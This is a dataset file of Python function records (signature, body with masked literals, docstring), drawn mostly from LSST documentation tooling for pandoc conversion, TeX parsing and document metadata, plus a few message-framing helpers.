{"signature": "def hashDictOneLevel(myDict):", "body": "keys = [str(x) for x in myDict.keys()]<EOL>keys.sort()<EOL>lst = []<EOL>for key in keys:<EOL><INDENT>lst.append(str(myDict[key]) + '<STR_LIT>')<EOL><DEDENT>return '<STR_LIT>'.join(lst).__hash__()<EOL>", "docstring": "A function which can generate a hash of a one-level \n  dict containing strings (like REDIS_CONNECTION_PARAMS)\n\n@param myDict <dict> - Dict with string keys and values\n\n@return <long> - Hash of myDict", "id": "f4158:m0"}
{"signature": "def _rindex(mylist: Sequence[T], x: T) -> int:", "body": "return len(mylist) - mylist[::-<NUM_LIT:1>].index(x) - <NUM_LIT:1><EOL>", "docstring": "Index of the last occurrence of x in the sequence.", "id": "f4166:m0"}
{"signature": "def raw_to_delimited(header: Header, raw_payload: RawPayload) -> DelimitedMsg:", "body": "return tuple(header) + (b'<STR_LIT>',) + tuple(raw_payload)<EOL>", "docstring": "\\\n    Returns a message consisting of header frames, delimiter frame, and payload frames.\n    The payload frames may be given as sequences of bytes (raw) or as `Message`s.", "id": "f4166:m1"}
{"signature": "def to_delimited(header: Header, payload: Payload, side: CommSide) -> DelimitedMsg:", "body": "return raw_to_delimited(header, [side.serialize(msg) for msg in payload])<EOL>", "docstring": "\\\n    Returns a message consisting of header frames, delimiter frame, and payload frames.\n    The payload frames may be given as sequences of bytes (raw) or as `Message`s.", "id": "f4166:m2"}
{"signature": "def raw_from_delimited(msgs: DelimitedMsg) -> RawMsgs:", "body": "delim = _rindex(msgs, b'<STR_LIT>')<EOL>return tuple(msgs[:delim]), tuple(msgs[delim + <NUM_LIT:1>:])<EOL>", "docstring": "\\\n    From a message consisting of header frames, delimiter frame, and payload frames, return a tuple `(header, payload)`.\n    The payload frames may be returned as sequences of bytes (raw) or as `Message`s.", "id": "f4166:m3"}
{"signature": "def from_delimited(msgs: DelimitedMsg, side: CommSide) -> Msgs:", "body": "header, raw_payload = raw_from_delimited(msgs)<EOL>return header, tuple(side.parse(msg_raw) for msg_raw in raw_payload)<EOL>", "docstring": "\\\n    From a message consisting of header frames, delimiter frame, and payload frames, return a tuple `(header, payload)`.\n    The payload frames may be returned as sequences of bytes (raw) or as `Message`s.", "id": "f4166:m4"}
{"signature": "def error(code: int, *args, **kwargs) -> HedgehogCommandError:", "body": "<EOL>if code == FAILED_COMMAND and len(args) >= <NUM_LIT:1> and args[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>return EmergencyShutdown(*args, **kwargs)<EOL><DEDENT>return _errors[code](*args, **kwargs)<EOL>", "docstring": "Creates an error from the given code, and args and kwargs.\n\n:param code: The acknowledgement code\n:param args: Exception args\n:param kwargs: Exception kwargs\n:return: the error for the given acknowledgement code", "id": "f4167:m0"}
{"signature": "def to_message(self):", "body": "from .messages import ack<EOL>return ack.Acknowledgement(self.code, self.args[<NUM_LIT:0>] if len(self.args) > <NUM_LIT:0> else '<STR_LIT>')<EOL>", "docstring": "Creates an error Acknowledgement message.\nThe message's code and message are taken from this exception.\n\n:return: the message representing this exception", "id": "f4167:c0:m0"}
{"signature": "def parse(self, data: RawMessage) -> Message:", "body": "try:<EOL><INDENT>return self.receiver.parse(data)<EOL><DEDENT>except KeyError as err:<EOL><INDENT>raise UnknownCommandError from err<EOL><DEDENT>except DecodeError as err:<EOL><INDENT>raise UnknownCommandError(f\"<STR_LIT>\") from err<EOL><DEDENT>", "docstring": "\\\n        Parses a binary protobuf message into a Message object.", "id": "f4168:c0:m1"}
{"signature": "def serialize(self, msg: Message) -> RawMessage:", "body": "return self.sender.serialize(msg)<EOL>", "docstring": "\\\n        Serializes a Message object into a binary protobuf message.", "id": "f4168:c0:m2"}
{"signature": "async def get_ltd_product_urls(session):", "body": "product_url = '<STR_LIT>'<EOL>async with session.get(product_url) as response:<EOL><INDENT>data = await response.json()<EOL><DEDENT>return data['<STR_LIT>']<EOL>", "docstring": "Get URLs for LSST the Docs (LTD) products from the LTD Keeper API.\n\n    Parameters\n    ----------\n    session : `aiohttp.ClientSession`\n        Your application's aiohttp client session.\n        See http://aiohttp.readthedocs.io/en/stable/client.html.\n\n    Returns\n    -------\n    product_urls : `list`\n        List of product URLs.", "id": "f4201:m0"}
{"signature": "async def get_ltd_product(session, slug=None, url=None):", "body": "if url is None:<EOL><INDENT>url = '<STR_LIT>'.format(slug)<EOL><DEDENT>async with session.get(url) as response:<EOL><INDENT>data = await response.json()<EOL><DEDENT>return data<EOL>", "docstring": "Get the product resource (JSON document) from the LSST the Docs API.\n\n    Parameters\n    ----------\n    session : `aiohttp.ClientSession`\n        Your application's aiohttp client session.\n        See http://aiohttp.readthedocs.io/en/stable/client.html.\n    slug : `str`, optional\n        Slug identfying the product. This is the same as the subdomain.\n        For example, ``'ldm-151'`` is the slug for ``ldm-151.lsst.io``.\n        A full product URL can be provided instead, see ``url``.\n    url : `str`, optional\n        The full LTD Keeper URL for the product resource. For example,\n        ``'https://keeper.lsst.codes/products/ldm-151'``. The ``slug``\n        can be provided instead.\n\n    Returns\n    -------\n    product : `dict`\n        Product dataset. See\n        https://ltd-keeper.lsst.io/products.html#get--products-(slug)\n        for fields.", "id": "f4201:m1"}
{"signature": "def ensure_pandoc(func):", "body": "logger = logging.getLogger(__name__)<EOL>@functools.wraps(func)<EOL>def _install_and_run(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>result = func(*args, **kwargs)<EOL><DEDENT>except OSError:<EOL><INDENT>message = \"<STR_LIT>\"<EOL>logger.warning(message)<EOL>pypandoc.download_pandoc(version='<STR_LIT>')<EOL>logger.debug(\"<STR_LIT>\")<EOL>result = func(*args, **kwargs)<EOL><DEDENT>return result<EOL><DEDENT>return _install_and_run<EOL>", "docstring": "Decorate a function that uses pypandoc to ensure that pandoc is\n    installed if necessary.", "id": "f4202:m0"}
{"signature": "@ensure_pandoc<EOL>def convert_text(content, from_fmt, to_fmt, deparagraph=False, mathjax=False,<EOL>smart=True, extra_args=None):", "body": "logger = logging.getLogger(__name__)<EOL>if extra_args is not None:<EOL><INDENT>extra_args = list(extra_args)<EOL><DEDENT>else:<EOL><INDENT>extra_args = []<EOL><DEDENT>if mathjax:<EOL><INDENT>extra_args.append('<STR_LIT>')<EOL><DEDENT>if smart:<EOL><INDENT>extra_args.append('<STR_LIT>')<EOL><DEDENT>if deparagraph:<EOL><INDENT>extra_args.append('<STR_LIT>')<EOL><DEDENT>extra_args.append('<STR_LIT>')<EOL>extra_args = set(extra_args)<EOL>logger.debug('<STR_LIT>',<EOL>from_fmt, to_fmt, extra_args)<EOL>output = pypandoc.convert_text(content, to_fmt, format=from_fmt,<EOL>extra_args=extra_args)<EOL>return output<EOL>", "docstring": "Convert text from one markup format to another using pandoc.\n\n    This function is a thin wrapper around `pypandoc.convert_text`.\n\n    Parameters\n    ----------\n    content : `str`\n        Original content.\n\n    from_fmt : `str`\n        Format of the original ``content``. Format identifier must be one of\n        those known by Pandoc. See https://pandoc.org/MANUAL.html for details.\n\n    to_fmt : `str`\n        Output format for the content.\n\n    deparagraph : `bool`, optional\n        If `True`, then the\n        `lsstprojectmeta.pandoc.filters.deparagraph.deparagraph` filter is\n        used to remove paragraph (``<p>``, for example) tags around a single\n        paragraph of content. That filter does not affect content that\n        consists of multiple blocks (several paragraphs, or lists, for\n        example). Default is `False`.\n\n        For example, **without** this filter Pandoc will convert\n        the string ``\"Title text\"`` to ``\"<p>Title text</p>\"`` in HTML. The\n        paragraph tags aren't useful if you intend to wrap the converted\n        content in different tags, like ``<h1>``, using your own templating\n        system.\n\n        **With** this filter, Pandoc will convert the string ``\"Title text\"``\n        to ``\"Title text\"`` in HTML.\n\n    mathjax : `bool`, optional\n        If `True` then Pandoc will markup output content to work with MathJax.\n        Default is False.\n\n    smart : `bool`, optional\n        If `True` (default) then ascii characters will be converted to unicode\n        characters like smart quotes and em dashes.\n\n    extra_args : `list`, optional\n        Sequence of Pandoc arguments command line arguments (such as\n        ``'--normalize'``). The ``deparagraph``, ``mathjax``, and ``smart``\n        arguments are convenience arguments that are equivalent to items\n        in ``extra_args``.\n\n    Returns\n    -------\n    output : `str`\n        Content in the output (``to_fmt``) format.\n\n    Notes\n    -----\n    This function will automatically install Pandoc if it is not available.\n    See `ensure_pandoc`.", "id": "f4202:m1"}
{"signature": "def convert_lsstdoc_tex(<EOL>content, to_fmt, deparagraph=False, mathjax=False,<EOL>smart=True, extra_args=None):", "body": "augmented_content = '<STR_LIT:\\n>'.join((LSSTDOC_MACROS, content))<EOL>return convert_text(<EOL>augmented_content, '<STR_LIT>', to_fmt,<EOL>deparagraph=deparagraph, mathjax=mathjax,<EOL>smart=smart, extra_args=extra_args)<EOL>", "docstring": "Convert lsstdoc-class LaTeX to another markup format.\n\n    This function is a thin wrapper around `convert_text` that automatically\n    includes common lsstdoc LaTeX macros.\n\n    Parameters\n    ----------\n    content : `str`\n        Original content.\n\n    to_fmt : `str`\n        Output format for the content (see https://pandoc.org/MANUAL.html).\n        For example, 'html5'.\n\n    deparagraph : `bool`, optional\n        If `True`, then the\n        `lsstprojectmeta.pandoc.filters.deparagraph.deparagraph` filter is\n        used to remove paragraph (``<p>``, for example) tags around a single\n        paragraph of content. That filter does not affect content that\n        consists of multiple blocks (several paragraphs, or lists, for\n        example). Default is `False`.\n\n        For example, **without** this filter Pandoc will convert\n        the string ``\"Title text\"`` to ``\"<p>Title text</p>\"`` in HTML. The\n        paragraph tags aren't useful if you intend to wrap the converted\n        content in different tags, like ``<h1>``, using your own templating\n        system.\n\n        **With** this filter, Pandoc will convert the string ``\"Title text\"``\n        to ``\"Title text\"`` in HTML.\n\n    mathjax : `bool`, optional\n        If `True` then Pandoc will markup output content to work with MathJax.\n        Default is False.\n\n    smart : `bool`, optional\n        If `True` (default) then ascii characters will be converted to unicode\n        characters like smart quotes and em dashes.\n\n    extra_args : `list`, optional\n        Sequence of Pandoc arguments command line arguments (such as\n        ``'--normalize'``). The ``deparagraph``, ``mathjax``, and ``smart``\n        arguments are convenience arguments that are equivalent to items\n        in ``extra_args``.\n\n    Returns\n    -------\n    output : `str`\n        Content in the output (``to_fmt``) format.\n\n    Notes\n    -----\n    This function will automatically install Pandoc if it is not available.\n    See `ensure_pandoc`.", "id": "f4202:m2"}
{"signature": "def deparagraph(element, doc):", "body": "if isinstance(element, Para):<EOL><INDENT>if element.next is not None:<EOL><INDENT>return element<EOL><DEDENT>elif element.prev is not None:<EOL><INDENT>return element<EOL><DEDENT>return Plain(*element.content)<EOL><DEDENT>", "docstring": "Panflute filter function that converts content wrapped in a Para to\n    Plain.\n\n    Use this filter with pandoc as::\n\n        pandoc [..] --filter=lsstprojectmeta-deparagraph\n\n    Only lone paragraphs are affected. Para elements with siblings (like a\n    second Para) are left unaffected.\n\n    This filter is useful for processing strings like titles or author names so\n    that the output isn't wrapped in paragraph tags. For example, without\n    this filter, pandoc converts a string ``\"The title\"`` to\n    ``<p>The title</p>`` in HTML. These ``<p>`` tags aren't useful if you\n    intend to put the title text in ``<h1>`` tags using your own templating\n    system.", "id": "f4204:m0"}
{"signature": "def main():", "body": "toJSONFilter(deparagraph)<EOL>", "docstring": "Setuptools entrypoint for the deparagraph CLI.\n\n    Use this filter as::\n\n        pandoc [..] --filter=lsstprojectmeta-deparagraph", "id": "f4204:m1"}
{"signature": "def get_macros(tex_source):", "body": "macros = {}<EOL>macros.update(get_def_macros(tex_source))<EOL>macros.update(get_newcommand_macros(tex_source))<EOL>return macros<EOL>", "docstring": "r\"\"\"Get all macro definitions from TeX source, supporting multiple\n    declaration patterns.\n\n    Parameters\n    ----------\n    tex_source : `str`\n        TeX source content.\n\n    Returns\n    -------\n    macros : `dict`\n        Keys are macro names (including leading ``\\``) and values are the\n        content (as `str`) of the macros.\n\n    Notes\n    -----\n    This function uses the following function to scrape macros of different\n    types:\n\n    - `get_def_macros`\n    - `get_newcommand_macros`\n\n    This macro scraping has the following caveats:\n\n    - Macro definition (including content) must all occur on one line.\n    - Macros with arguments are not supported.", "id": "f4205:m0"}
{"signature": "def get_def_macros(tex_source):", "body": "macros = {}<EOL>for match in DEF_PATTERN.finditer(tex_source):<EOL><INDENT>macros[match.group('<STR_LIT:name>')] = match.group('<STR_LIT:content>')<EOL><DEDENT>return macros<EOL>", "docstring": "r\"\"\"Get all ``\\def`` macro definition from TeX source.\n\n    Parameters\n    ----------\n    tex_source : `str`\n        TeX source content.\n\n    Returns\n    -------\n    macros : `dict`\n        Keys are macro names (including leading ``\\``) and values are the\n        content (as `str`) of the macros.\n\n    Notes\n    -----\n    ``\\def`` macros with arguments are not supported.", "id": "f4205:m1"}
{"signature": "def get_newcommand_macros(tex_source):", "body": "macros = {}<EOL>command = LatexCommand(<EOL>'<STR_LIT>',<EOL>{'<STR_LIT:name>': '<STR_LIT:name>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'},<EOL>{'<STR_LIT:name>': '<STR_LIT:content>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>for macro in command.parse(tex_source):<EOL><INDENT>macros[macro['<STR_LIT:name>']] = macro['<STR_LIT:content>']<EOL><DEDENT>return macros<EOL>", "docstring": "r\"\"\"Get all ``\\newcommand`` macro definition from TeX source.\n\n    Parameters\n    ----------\n    tex_source : `str`\n        TeX source content.\n\n    Returns\n    -------\n    macros : `dict`\n        Keys are macro names (including leading ``\\``) and values are the\n        content (as `str`) of the macros.\n\n    Notes\n    -----\n    ``\\newcommand`` macros with arguments are not supported.", "id": "f4205:m2"}
{"signature": "def __call__(self, tex_source):", "body": "for linker in self._linkers:<EOL><INDENT>tex_source = linker(tex_source)<EOL><DEDENT>return tex_source<EOL>", "docstring": "r\"\"\"Convert citations in LaTeX source to Hyperref links.\n\n        Parameters\n        ----------\n        tex_source : `str`\n            LaTeX document source.\n\n        Returns\n        -------\n        processed_tex : `str`\n            LaTeX document source with all citation commands converted to\n            ``\\hyperref`` commands.", "id": "f4206:c0:m1"}
{"signature": "def __call__(self, tex_source):", "body": "while True:<EOL><INDENT>try:<EOL><INDENT>parsed = next(self.command.parse(tex_source))<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>tex_source = self._replace_command(tex_source, parsed)<EOL><DEDENT>return tex_source<EOL>", "docstring": "r\"\"\"Convert commands of type ``command`` in LaTeX source to Hyperref\n        links.\n\n        Parameters\n        ----------\n        tex_source : `str`\n            LaTeX document source.\n\n        Returns\n        -------\n        processed_tex : `str`\n            LaTeX document source with commands of type ``command`` to\n            ``\\hyperref`` commands.", "id": "f4206:c1:m0"}
{"signature": "def remove_comments(tex_source):", "body": "<EOL>return re.sub(r'<STR_LIT>', r'<STR_LIT>', tex_source, flags=re.M)<EOL>", "docstring": "Delete latex comments from TeX source.\n\n    Parameters\n    ----------\n    tex_source : str\n        TeX source content.\n\n    Returns\n    -------\n    tex_source : str\n        TeX source without comments.", "id": "f4207:m0"}
{"signature": "def remove_trailing_whitespace(tex_source):", "body": "<EOL>return re.sub(r'<STR_LIT>', '<STR_LIT>', tex_source, flags=re.M)<EOL>", "docstring": "Delete trailing whitespace from TeX source.\n\n    Parameters\n    ----------\n    tex_source : str\n        TeX source content.\n\n    Returns\n    -------\n    tex_source : str\n        TeX source without trailing whitespace.", "id": "f4207:m1"}
{"signature": "def read_tex_file(root_filepath, root_dir=None):", "body": "with open(root_filepath, '<STR_LIT:r>') as f:<EOL><INDENT>tex_source = f.read()<EOL><DEDENT>if root_dir is None:<EOL><INDENT>root_dir = os.path.dirname(root_filepath)<EOL><DEDENT>tex_source = remove_comments(tex_source)<EOL>tex_source = remove_trailing_whitespace(tex_source)<EOL>tex_source = process_inputs(tex_source, root_dir=root_dir)<EOL>return tex_source<EOL>", "docstring": "r\"\"\"Read a TeX file, automatically processing and normalizing it\n    (including other input files, removing comments, and deleting trailing\n    whitespace).\n\n    Parameters\n    ----------\n    root_filepath : `str`\n        Filepath to a TeX file.\n    root_dir : `str`\n        Root directory of the TeX project. This only needs to be set when\n        recursively reading in ``\\input`` or ``\\include`` files.\n\n    Returns\n    -------\n    tex_source : `str`\n        TeX source.", "id": "f4207:m2"}
{"signature": "def process_inputs(tex_source, root_dir=None):", "body": "logger = logging.getLogger(__name__)<EOL>def _sub_line(match):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>fname = match.group('<STR_LIT:filename>')<EOL>if not fname.endswith('<STR_LIT>'):<EOL><INDENT>full_fname = \"<STR_LIT:.>\".join((fname, '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>full_fname = fname<EOL><DEDENT>full_path = os.path.abspath(os.path.join(root_dir, full_fname))<EOL>try:<EOL><INDENT>included_source = read_tex_file(full_path, root_dir=root_dir)<EOL><DEDENT>except IOError:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(full_path))<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>return included_source<EOL><DEDENT><DEDENT>tex_source = input_include_pattern.sub(_sub_line, tex_source)<EOL>return tex_source<EOL>", "docstring": "r\"\"\"Insert referenced TeX file contents (from  ``\\input`` and ``\\include``\n    commands) into the source.\n\n    Parameters\n    ----------\n    tex_source : `str`\n        TeX source where referenced source files will be found and inserted.\n    root_dir : `str`, optional\n        Name of the directory containing the TeX project's root file. Files\n        referenced by TeX ``\\input`` and ``\\include`` commands are relative to\n        this directory. If not set, the current working directory is assumed.\n\n    Returns\n    -------\n    tex_source : `str`\n        TeX source.\n\n    See also\n    --------\n    `read_tex_file`\n        Recommended API for reading a root TeX source file and inserting\n        referenced files.", "id": "f4207:m3"}
{"signature": "def replace_macros(tex_source, macros):", "body": "for macro_name, macro_content in macros.items():<EOL><INDENT>pattern = re.escape(macro_name) + r\"<STR_LIT>\"<EOL>tex_source = re.sub(pattern, lambda _: macro_content, tex_source)<EOL><DEDENT>return tex_source<EOL>", "docstring": "r\"\"\"Replace macros in the TeX source with their content.\n\n    Parameters\n    ----------\n    tex_source : `str`\n        TeX source content.\n    macros : `dict`\n        Keys are macro names (including leading ``\\``) and values are the\n        content (as `str`) of the macros. See\n        `lsstprojectmeta.tex.scraper.get_macros`.\n\n    Returns\n    -------\n    tex_source : `str`\n        TeX source with known macros replaced.\n\n    Notes\n    -----\n    Macros with arguments are not supported.\n\n    Examples\n    --------\n    >>> macros = {r'\\handle': 'LDM-nnn'}\n    >>> sample = r'This is document \\handle.'\n    >>> replace_macros(sample, macros)\n    'This is document LDM-nnn.'\n\n    Any trailing slash after the macro command is also replaced by this\n    function.\n\n    >>> macros = {r'\\product': 'Data Management'}\n    >>> sample = r'\\title    [Test Plan]  { \\product\\ Test Plan}'\n    >>> replace_macros(sample, macros)\n    '\\\\title    [Test Plan]  { Data Management Test Plan}'", "id": "f4207:m4"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, root_tex_path):<DEDENT>", "body": "<EOL>root_dir = os.path.dirname(root_tex_path)<EOL>tex_source = read_tex_file(root_tex_path)<EOL>tex_macros = get_macros(tex_source)<EOL>tex_source = replace_macros(tex_source, tex_macros)<EOL>return cls(tex_source, root_dir=root_dir)<EOL>", "docstring": "Construct an `LsstLatexDoc` instance by reading and parsing the\n        LaTeX source.\n\n        Parameters\n        ----------\n        root_tex_path : `str`\n            Path to the LaTeX source on the filesystem. For multi-file LaTeX\n            projects this should be the path to the root document.\n\n        Notes\n        -----\n        This method implements the following pipeline:\n\n        1. `lsstprojectmeta.tex.normalizer.read_tex_file`\n        2. `lsstprojectmeta.tex.scraper.get_macros`\n        3. `lsstprojectmeta.tex.normalizer.replace_macros`\n\n        Thus ``input`` and ``includes`` are resolved along with simple macros.", "id": "f4210:c0:m1"}
{"signature": "@property<EOL><INDENT>def plain_content(self):<DEDENT>", "body": "return self.format_content(format='<STR_LIT>', mathjax=False, smart=True)<EOL>", "docstring": "Plain-text-formatted document content (`str`).", "id": "f4210:c0:m2"}
{"signature": "@property<EOL><INDENT>def html_title(self):<DEDENT>", "body": "return self.format_title(format='<STR_LIT>', deparagraph=True,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "HTML5-formatted document title (`str`).", "id": "f4210:c0:m3"}
{"signature": "@property<EOL><INDENT>def plain_title(self):<DEDENT>", "body": "return self.format_title(format='<STR_LIT>', deparagraph=True,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "Plain-text-formatted document title (`str`).", "id": "f4210:c0:m4"}
{"signature": "@property<EOL><INDENT>def title(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_title()<EOL><DEDENT>return self._title<EOL>", "docstring": "LaTeX-formatted document title (`str`).", "id": "f4210:c0:m5"}
{"signature": "@property<EOL><INDENT>def html_short_title(self):<DEDENT>", "body": "return self.format_short_title(format='<STR_LIT>', deparagraph=True,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "HTML5-formatted document short title (`str`).", "id": "f4210:c0:m6"}
{"signature": "@property<EOL><INDENT>def plain_short_title(self):<DEDENT>", "body": "return self.format_short_title(format='<STR_LIT>', deparagraph=True,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "Plaintext-formatted document short title (`str`).", "id": "f4210:c0:m7"}
{"signature": "@property<EOL><INDENT>def short_title(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_title()<EOL><DEDENT>return self._short_title<EOL>", "docstring": "LaTeX-formatted document short title (`str`).", "id": "f4210:c0:m8"}
{"signature": "@property<EOL><INDENT>def html_authors(self):<DEDENT>", "body": "return self.format_authors(format='<STR_LIT>', deparagraph=True,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "HTML5-formatted authors (`list` of `str`).", "id": "f4210:c0:m9"}
{"signature": "@property<EOL><INDENT>def plain_authors(self):<DEDENT>", "body": "return self.format_authors(format='<STR_LIT>', deparagraph=True,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "Plaintext-formatted authors (`list` of `str`).", "id": "f4210:c0:m10"}
{"signature": "@property<EOL><INDENT>def authors(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_author()<EOL><DEDENT>return self._authors<EOL>", "docstring": "LaTeX-formatted authors (`list` of `str`).", "id": "f4210:c0:m11"}
{"signature": "@property<EOL><INDENT>def html_abstract(self):<DEDENT>", "body": "return self.format_abstract(format='<STR_LIT>', deparagraph=False,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "HTML5-formatted document abstract (`str`).", "id": "f4210:c0:m12"}
{"signature": "@property<EOL><INDENT>def plain_abstract(self):<DEDENT>", "body": "return self.format_abstract(format='<STR_LIT>', deparagraph=False,<EOL>mathjax=False, smart=True)<EOL>", "docstring": "Plaintext-formatted document abstract (`str`).", "id": "f4210:c0:m13"}
{"signature": "@property<EOL><INDENT>def abstract(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_abstract()<EOL><DEDENT>return self._abstract<EOL>", "docstring": "LaTeX-formatted abstract (`str`).", "id": "f4210:c0:m14"}
{"signature": "@property<EOL><INDENT>def handle(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_doc_ref()<EOL><DEDENT>return self._handle<EOL>", "docstring": "LaTeX-formatted document handle (`str`).", "id": "f4210:c0:m15"}
{"signature": "@property<EOL><INDENT>def series(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_doc_ref()<EOL><DEDENT>return self._series<EOL>", "docstring": "Document series identifier (`str`).", "id": "f4210:c0:m16"}
{"signature": "@property<EOL><INDENT>def serial(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_doc_ref()<EOL><DEDENT>return self._serial<EOL>", "docstring": "Document serial number within series (`str`).", "id": "f4210:c0:m17"}
{"signature": "@property<EOL><INDENT>def is_draft(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_documentclass()<EOL><DEDENT>if '<STR_LIT>' in self._document_options:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Document is a draft if ``'lsstdoc'`` is included in the\n        documentclass options (`bool`).", "id": "f4210:c0:m18"}
{"signature": "@property<EOL><INDENT>def revision_datetime(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_revision_date()<EOL><DEDENT>return self._datetime<EOL>", "docstring": "Current revision date of the document (`datetime.datetime`).\n\n        The `revision_datetime_source` describes how the revision date\n        is computed.\n\n        This ``revision datetime`` is cached the first time you access it. This\n        means that a datetime computed via ``now`` or ``git`` will not change\n        during the lifetime of an `LsstLatexDoc` object.", "id": "f4210:c0:m19"}
{"signature": "@property<EOL><INDENT>def revision_datetime_source(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._parse_revision_date()<EOL><DEDENT>return self._revision_datetime_source<EOL>", "docstring": "r\"\"\"Data source for the `revision_datetime` attribute (`str`).\n\n        Possible string values are:\n\n        - ``'tex'``: The document revision date is defined in the ``\\date``\n          command. ``YYYY-MM-DD`` dates are converted to UTC datetimes by\n          assuming the document is released at the beginning of the day in the\n          ``US/Pacific`` timezone. Note: the ``\\date`` command is ignored\n          for draft documents (`is_draft` is `True`) so that drafts always\n          fall back to ``'git'`` or ``'now'``.\n\n        - ``'git'``: The latest Git commit's timestamp that affected document\n          content. Content is considered any file with a ``tex``, ``bib``,\n          ``pdf``, ``jpg``, or ``png`` extension. Git timestamps are used when\n          the ``\\date`` command is missing or can't be parsed.\n\n        - ``'now'``: The current date and time. This source is used as a\n          fallback when the LaTeX and Git-based methods of determining a\n          document's date fail.\n\n        The `revision datetime` is cached the first time you access it. This\n        means that a datetime computed via ``now`` or ``git`` will not change\n        during the lifetime of an `LsstLatexDoc` object.", "id": "f4210:c0:m20"}
{"signature": "@property<EOL><INDENT>def bib_db(self):<DEDENT>", "body": "if self._bib_db is None:<EOL><INDENT>self._load_bib_db()<EOL><DEDENT>return self._bib_db<EOL>", "docstring": "Bibliography database referenced by the document\n        (`pybtex.database.BibliographyData`).", "id": "f4210:c0:m21"}
{"signature": "def format_content(self, format='<STR_LIT>', mathjax=False,<EOL>smart=True, extra_args=None):", "body": "output_text = convert_lsstdoc_tex(<EOL>self._tex, format,<EOL>mathjax=mathjax,<EOL>smart=smart,<EOL>extra_args=extra_args)<EOL>return output_text<EOL>", "docstring": "Get the document content in the specified markup format.\n\n        Parameters\n        ----------\n        format : `str`, optional\n            Output format (such as ``'html5'`` or ``'plain'``).\n        mathjax : `bool`, optional\n            Allow pandoc to use MathJax math markup.\n        smart : `True`, optional\n            Allow pandoc to create \"smart\" unicode punctuation.\n        extra_args : `list`, optional\n            Additional command line flags to pass to Pandoc. See\n            `lsstprojectmeta.pandoc.convert.convert_text`.\n\n        Returns\n        -------\n        output_text : `str`\n            Converted content.", "id": "f4210:c0:m22"}
{"signature": "def format_title(self, format='<STR_LIT>', deparagraph=True, mathjax=False,<EOL>smart=True, extra_args=None):", "body": "if self.title is None:<EOL><INDENT>return None<EOL><DEDENT>output_text = convert_lsstdoc_tex(<EOL>self.title, format,<EOL>deparagraph=deparagraph,<EOL>mathjax=mathjax,<EOL>smart=smart,<EOL>extra_args=extra_args)<EOL>return output_text<EOL>", "docstring": "Get the document title in the specified markup format.\n\n        Parameters\n        ----------\n        format : `str`, optional\n            Output format (such as ``'html5'`` or ``'plain'``).\n        deparagraph : `bool`, optional\n            Remove the paragraph tags from single paragraph content.\n        mathjax : `bool`, optional\n            Allow pandoc to use MathJax math markup.\n        smart : `True`, optional\n            Allow pandoc to create \"smart\" unicode punctuation.\n        extra_args : `list`, optional\n            Additional command line flags to pass to Pandoc. See\n            `lsstprojectmeta.pandoc.convert.convert_text`.\n\n        Returns\n        -------\n        output_text : `str`\n            Converted content or `None` if the title is not available in\n            the document.", "id": "f4210:c0:m23"}
{"signature": "def format_short_title(self, format='<STR_LIT>', deparagraph=True,<EOL>mathjax=False, smart=True, extra_args=None):", "body": "if self.short_title is None:<EOL><INDENT>return None<EOL><DEDENT>output_text = convert_lsstdoc_tex(<EOL>self.short_title, '<STR_LIT>',<EOL>deparagraph=deparagraph,<EOL>mathjax=mathjax,<EOL>smart=smart,<EOL>extra_args=extra_args)<EOL>return output_text<EOL>", "docstring": "Get the document short title in the specified markup format.\n\n        Parameters\n        ----------\n        format : `str`, optional\n            Output format (such as ``'html5'`` or ``'plain'``).\n        deparagraph : `bool`, optional\n            Remove the paragraph tags from single paragraph content.\n        mathjax : `bool`, optional\n            Allow pandoc to use MathJax math markup.\n        smart : `True`, optional\n            Allow pandoc to create \"smart\" unicode punctuation.\n        extra_args : `list`, optional\n            Additional command line flags to pass to Pandoc. See\n            `lsstprojectmeta.pandoc.convert.convert_text`.\n\n        Returns\n        -------\n        output_text : `str`\n            Converted content or `None` if the short title is not available in\n            the document.", "id": "f4210:c0:m24"}
